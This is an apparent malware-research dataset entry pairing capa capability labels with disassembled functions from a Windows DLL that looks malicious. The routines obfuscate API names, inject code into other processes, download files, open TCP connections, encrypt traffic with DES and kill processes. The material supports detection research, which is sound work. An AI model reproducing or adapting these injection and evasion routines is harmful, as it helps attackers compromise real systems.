joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003de0
Capabilities:
Access peb ldr_data
Create directory
Query environment variable

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x1006b668
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
call fcn.10003cb0
mov ecx, 0x41
xor eax, eax
mov edi, 0x10096da8
push 0x104
push 0x10096da8
push str._USERPROFILE_Local_Settings_
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x10003e6b
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push 0x10096da8
call ebx
mov edi, str.Temp_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edx, ecx
mov edi, 0x10096da8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x10096da8
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebx
call fcn.100047c0
test al, al
jne 0x10003e88
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
add esp, 0x30
ret
lea ecx, [esp + 0xc]
call fcn.10004c30
push 0x10096b80
lea ecx, [esp + 0x10]
mov dword [esp + 0x3c], 0
call fcn.10008ab0
test eax, eax
jne 0x10003ed0
lea ecx, [esp + 0xc]
mov dword [esp + 0x38], 0xffffffff
call fcn.100017b0
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
add esp, 0x30
ret
mov ecx, 0x41
mov esi, str.black
mov edi, 0x10096c84
push str.dnsapi.dll
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10003f05
push str.DnsFlushResolverCache
push eax
call ebx
mov dword [0x10096eb4], eax
push str.urlmon.dll
call esi
test eax, eax
jne 0x10003f35
lea ecx, [esp + 0xc]
mov dword [esp + 0x38], 0xffffffff
call fcn.100017b0
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
add esp, 0x30
ret
mov ecx, 6
mov esi, str.VRLDownloadToCacheFileA
lea edi, [esp + 0x10]
lea edx, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
push edx
mov dword [esp + 0x2c], ecx
push eax
mov word [esp + 0x34], cx
mov cl, byte [esp + 0x18]
dec cl
mov byte [esp + 0x18], cl
call ebx
lea ecx, [esp + 0xc]
mov dword [0x10096eb0], eax
mov dword [esp + 0x38], 0xffffffff
call fcn.100017b0
mov ecx, dword [esp + 0x30]
pop edi
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x30
ret
Function at 0x10003f90
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x41]
mov byte [esp + 0x40], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x10096eb0]
test eax, eax
je 0x1000417d
mov edx, dword [esp + 0x148]
push 0
push 0
lea ecx, [esp + 0x48]
push 0x104
push ecx
push edx
push 0
call eax
test eax, eax
jne 0x1000417d
lea eax, [esp + 0x40]
push 0x1008a074
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x10004011
lea ecx, [esp + 0x40]
push ecx
call fcn.10002ad0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret
xor edx, edx
push ebx
mov dword [esp + 0x15], edx
push 0x16
mov dword [esp + 0x1d], edx
lea eax, [esp + 0x18]
mov dword [esp + 0x21], edx
push 1
mov dword [esp + 0x29], edx
push eax
mov dword [esp + 0x31], edx
mov byte [esp + 0x20], 0
mov byte [esp + 0x35], dl
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
cmp eax, 0x16
je 0x10004169
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x10]
push 0x1008a968
push edx
call esi
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x10004080
lea eax, [esp + 0x10]
push 0x1008a964
push eax
call esi
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x10004169
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x28]
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [edx + ecx], al
lea eax, [esp + 0x28]
push eax
call fcn.10004250
add esp, 4
test eax, eax
je 0x10004169
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x14c]
mov edi, ebp
lea edx, [esp + 0x11]
lea ebp, [esp + 0x28]
mov dword [ecx], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x10]
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
mov edx, dword [esp + 0x154]
push ebx
mov word [edx], ax
call dword [sym.imp.MSVCRT.dll_fclose]
lea eax, [esp + 0x48]
push eax
call fcn.10002ad0
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
lea ecx, [esp + 0x44]
push ecx
call fcn.10002ad0
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x134
ret
Function at 0x100041e0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x100041f0
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov ecx, dword [esp + 8]
mov eax, dword [edx]
mov dword [ecx], eax
mov eax, 1
ret

Function at 0x10004270
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x2c
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
jne 0x10004296
add esp, 0x2c
ret
lea eax, [esp]
mov dword [esp + 4], 4
push eax
push 1
push 0
push str.SOFTWARETime
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x100042c1
xor eax, eax
add esp, 0x2c
ret
lea ecx, [esp + 4]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push str.dwLowDateTime
push ecx
call esi
test eax, eax
je 0x100042f1
mov edx, dword [esp + 0x18]
mov dword [esp + 0x10], edx
lea eax, [esp + 8]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 8]
lea edx, [esp + 0x10]
push ecx
push edx
push 0
push str.dwHighDateTime
push eax
call esi
test eax, eax
pop esi
je 0x1000431b
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x10], ecx
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
xor edx, edx
cmp eax, 0xffffffff
sete dl
mov eax, edx
add esp, 0x2c
ret

Function at 0x10004350
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
mov eax, dword [0x10096ec0]
sub esp, 0x10
push esi
push edi
push eax
call fcn.1000d7c0
mov edi, eax
add esp, 4
test edi, edi
je 0x100043e4
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push edx
mov dword [esp + 0x10], ecx
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push 2
mov word [esp + 0x16], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100043ac
push edi
call fcn.1000db00
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x10
ret
lea eax, [esp + 8]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100043d4
push esi
push edi
call fcn.1000dd80
push edi
call fcn.1000de30
add esp, 0xc
cmp eax, 0xffffffff
jne 0x100043ec
push edi
call fcn.1000db00
add esp, 4
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
mov eax, edi
pop edi
pop esi
add esp, 0x10
ret
Function at 0x100044b0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x110
push ebx
mov ebx, dword [esp + 0x118]
push ebp
push esi
push edi
push ebx
call fcn.1000dd30
add esp, 4
cmp eax, 0xffffffff
jne 0x100044dc
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x110
ret
mov dword [esp + 0x20], eax
lea eax, [esp + 0x14]
push eax
push 0
lea ecx, [esp + 0x24]
push 0
push ecx
push 1
mov dword [esp + 0x28], 5
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
jne 0x10004520
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x110
ret
test eax, eax
jne 0x1000452f
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret
lea edx, [esp + 0x10]
push 4
push edx
push ebx
call fcn.1000def0
add esp, 0xc
test eax, eax
jge 0x10004551
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x110
ret
cmp eax, 4
jae 0x1000456a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x110
ret
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_ntohl]
push eax
mov dword [esp + 0x14], eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x100045a9
mov ecx, dword [esp + 0x128]
mov edx, dword [esp + 0x12c]
pop edi
pop esi
mov dword [ecx], eax
mov dword [edx], eax
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x110
ret
mov esi, dword [esp + 0x10]
mov edi, ebp
push esi
push ebp
push ebx
call fcn.1000def0
add esp, 0xc
cmp eax, 0xffffffff
je 0x100045df
sub esi, eax
add edi, eax
test esi, esi
jle 0x10004611
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
push ebx
call fcn.1000def0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x100045bf
push ebp
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [esp + 0x12c]
mov ecx, dword [esp + 0x130]
add esp, 4
mov dword [eax], 0
mov dword [ecx], 0
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0x128]
mov eax, dword [esp + 0x12c]
mov ecx, dword [esp + 0x10]
pop edi
mov dword [edx], ebp
pop esi
mov dword [eax], ecx
pop ebp
mov eax, 1
pop ebx
add esp, 0x110
ret
Function at 0x10004690
Capabilities:
Get socket status

Disassembly:
sub esp, 0x110
push ebp
push esi
mov esi, dword [esp + 0x124]
push edi
lea eax, [esi + 4]
push eax
mov dword [esp + 0x10], eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x100046c4
pop edi
pop esi
or eax, 0xffffffff
pop ebp
add esp, 0x110
ret
push esi
call dword [sym.imp.WS2_32.dll_htonl]
mov ecx, esi
mov esi, dword [esp + 0x124]
mov dword [ebp], eax
mov eax, ecx
lea edi, [ebp + 4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x120]
push esi
call fcn.1000dd30
add esp, 4
cmp eax, 0xffffffff
jne 0x10004709
pop edi
pop esi
or eax, eax
pop ebp
add esp, 0x110
ret
lea ecx, [esp + 0x10]
lea edx, [esp + 0x18]
push ecx
push 0
push edx
push 0
push 0
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], 1
mov dword [esp + 0x24], 5
mov dword [esp + 0x28], 0
call dword [sym.imp.WS2_32.dll_select]
mov edi, eax
test edi, edi
jle 0x100047a1
mov edi, dword [esp + 0xc]
push ebx
push edi
push ebp
push esi
mov ebx, ebp
call fcn.1000dfa0
mov esi, eax
add esp, 0xc
test esi, esi
jle 0x10004781
sub edi, esi
add ebx, esi
test edi, edi
jle 0x10004781
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x124]
push edi
push ebx
push eax
call fcn.1000dfa0
mov esi, eax
add esp, 0xc
test esi, esi
jg 0x10004759
push ebp
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
xor eax, eax
test esi, esi
setg al
dec eax
pop ebx
and al, 0xfe
pop edi
pop esi
inc eax
pop ebp
add esp, 0x110
ret
push ebp
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x110
ret

Function at 0x100047c0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x100047e9
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor al, al
add esp, 0x190
ret
call fcn.10004830
test al, al
jne 0x10004801
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor al, al
add esp, 0x190
ret
push str._bz7_cc_MQ_
call fcn.10004940
add esp, 4
test eax, eax
jne 0x10004821
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor al, al
add esp, 0x190
ret
mov al, 1
add esp, 0x190
ret
Function at 0x10004850
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
lea eax, [ebp + 0x10]
push eax
mov dword [esp + 0xc], eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x10004872
pop ebp
pop ebx
pop ecx
ret
mov ecx, ebp
push esi
mov esi, dword [esp + 0x14]
mov eax, ecx
push edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov eax, dword [0x10096ec4]
push ecx
push edx
push ebx
push 0
push 1
push 0
push eax
mov dword [esp + 0x38], ebp
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
pop edi
pop esi
test eax, eax
jne 0x100048b5
pop ebp
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
pop ebp
mov dword [ecx], ebx
mov dword [edx], eax
mov eax, 1
pop ebx
pop ecx
ret

Function at 0x100048d0
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push ebp
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x100048e9
pop ebp
pop ebx
ret
mov ecx, ebp
push esi
mov esi, dword [esp + 0x10]
mov eax, ecx
push edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edx, dword [0x10096ec4]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0
push 1
push 0
push edx
mov dword [esp + 0x30], ebp
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
pop edi
pop esi
test eax, eax
jne 0x10004927
pop ebp
pop ebx
ret
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
pop ebp
mov dword [eax], ebx
mov dword [ecx], edx
mov eax, 1
pop ebx
ret
Function at 0x10004940
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ecx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push 0
push 0x12
push str.Microsoft_DH_SChannel_Cryptographic_Provider
push 0
push 0x10096ec8
call esi
test eax, eax
jne 0x10004988
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x100049f7
push 8
push 0x12
push str.Microsoft_DH_SChannel_Cryptographic_Provider
push 0
push 0x10096ec8
call esi
test eax, eax
jne 0x10004988
pop esi
pop ecx
ret
mov ecx, dword [0x10096ec8]
lea eax, [esp + 4]
push eax
push 0
push 0
push 0x8003
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x100049aa
pop esi
pop ecx
ret
mov edx, dword [esp + 0xc]
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
pop edi
jne 0x100049d2
pop esi
pop ecx
ret
mov eax, dword [esp + 4]
mov ecx, dword [0x10096ec8]
push 0x10096ec4
push 0x400000
push eax
push 0x6601
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x100049fc
xor eax, eax
pop esi
pop ecx
ret
mov eax, dword [esp + 4]
test eax, eax
je 0x10004a0b
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, 1
pop esi
pop ecx
ret
Function at 0x10004a40
Capabilities:
Migrate process to active window station

Disassembly:
sub esp, 0x84
push esi
mov esi, ecx
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
test eax, eax
mov dword [esi + 8], eax
jne 0x10004a77
pop edi
pop esi
add esp, 0x84
ret 4
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
test eax, eax
mov dword [esi], eax
jne 0x10004a95
pop edi
pop esi
add esp, 0x84
ret 4
push 0x37f
push 0
push str.winsta0
call dword [sym.imp.USER32.dll_OpenWindowStationA]
test eax, eax
mov dword [esi + 0xc], eax
jne 0x10004ab9
pop edi
pop esi
add esp, 0x84
ret 4
push eax
call dword [sym.imp.USER32.dll_SetProcessWindowStation]
test eax, eax
jne 0x10004acf
pop edi
pop esi
add esp, 0x84
ret 4
mov eax, dword [esp + 0x90]
test eax, eax
je 0x10004aec
push eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [esp + 8]
jmp 0x10004b15
push 0x2000000
push 0
push 1
call dword [sym.imp.USER32.dll_OpenInputDesktop]
lea ecx, [esp + 8]
lea edx, [esp + 0xc]
push ecx
push 0x80
mov edi, eax
push edx
push 2
push edi
call dword [sym.imp.USER32.dll_GetUserObjectInformationA]
push 0x1ff
push 0
lea eax, [esp + 0x14]
push 0
push eax
call dword [sym.imp.USER32.dll_OpenDesktopA]
test eax, eax
mov dword [esi + 4], eax
jne 0x10004b44
push edi
call dword [sym.imp.USER32.dll_CloseDesktop]
pop edi
xor eax, eax
pop esi
add esp, 0x84
ret 4
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push edi
call dword [sym.imp.USER32.dll_CloseDesktop]
pop edi
mov eax, 1
pop esi
add esp, 0x84
ret 4

Function at 0x10004bc0
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x138
lea eax, [esp]
push ebx
push esi
mov esi, dword [esp + 0x148]
xor ebx, ebx
push edi
mov edi, dword [esp + 0x148]
push ebx
push 0x40
push eax
push esi
push edi
call sub.KERNEL32.dll_Toolhelp32ReadProcessMemory
cmp word [esp + 0xc], 0x5a4d
jne 0x10004c1b
mov edx, dword [esp + 0x48]
push ebx
lea ecx, [esp + 0x50]
push 0xf8
add edx, esi
push ecx
push edx
push edi
call sub.KERNEL32.dll_Toolhelp32ReadProcessMemory
mov eax, dword [esp + 0x4c]
cmp eax, 0x4550
mov eax, dword [esp + 0x80]
je 0x10004c1d
mov eax, ebx
pop edi
pop esi
pop ebx
add esp, 0x138
ret

Function at 0x10004c40
Capabilities:
Enumerate process modules

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push edi
xor edi, edi
push eax
push edi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10004c97
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
push ecx
push 4
push edx
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x10004c90
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push 0x104
push eax
push ecx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
jbe 0x10004c90
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ecx
ret 8
Function at 0x10005450
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
push esi
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x1000546a
pop esi
ret 4
push edi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret 4
Function at 0x10005490
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, 0x2030
call fcn.1001d6a0
push ebx
push ebp
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
jne 0x100054bc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2030
ret 8
mov edi, str.XriteProcessMemory
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x2c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.DreateRemoteThread
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov cl, byte [esp + 0x18]
mov al, byte [esp + 0x2c]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
dec cl
mov byte [esp + 0x18], cl
lea ecx, [esp + 0x18]
dec al
push ecx
push ebx
mov byte [esp + 0x34], al
call esi
lea edx, [esp + 0x2c]
mov ebp, eax
push edx
push ebx
call esi
xor ecx, ecx
mov dword [esp + 0x14], eax
test eax, eax
sete cl
xor edx, edx
test ebp, ebp
sete dl
or ecx, edx
je 0x10005559
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2030
ret 8
mov ecx, 0x800
xor eax, eax
lea edi, [esp + 0x40]
mov esi, 0x1008a9e4
rep stosd dword es:[edi], eax
mov edi, 0x1008a9e4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x40]
mov ebx, ecx
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov edx, dword [esp + 0x2048]
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [esp + ebx + 0x44]
push ecx
push edx
mov dword [esp + 0x1c], 0
call fcn.10005660
mov edx, dword [esp + 0x2050]
add esp, 0xc
lea ebx, [ebx + eax + 1]
push edx
push 0
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10005648
push 0x40
push 0x1000
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x10005641
push 0
lea eax, [esp + 0x44]
push ebx
push eax
push edi
push esi
call ebp
test eax, eax
je 0x1000562e
push 0
push 0
push 0
push edi
push 0
push 0
push esi
call dword [esp + 0x30]
mov ebx, eax
test ebx, ebx
je 0x1000562e
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x10005627
mov dword [esp + 0x10], 1
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x10005641
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2030
ret 8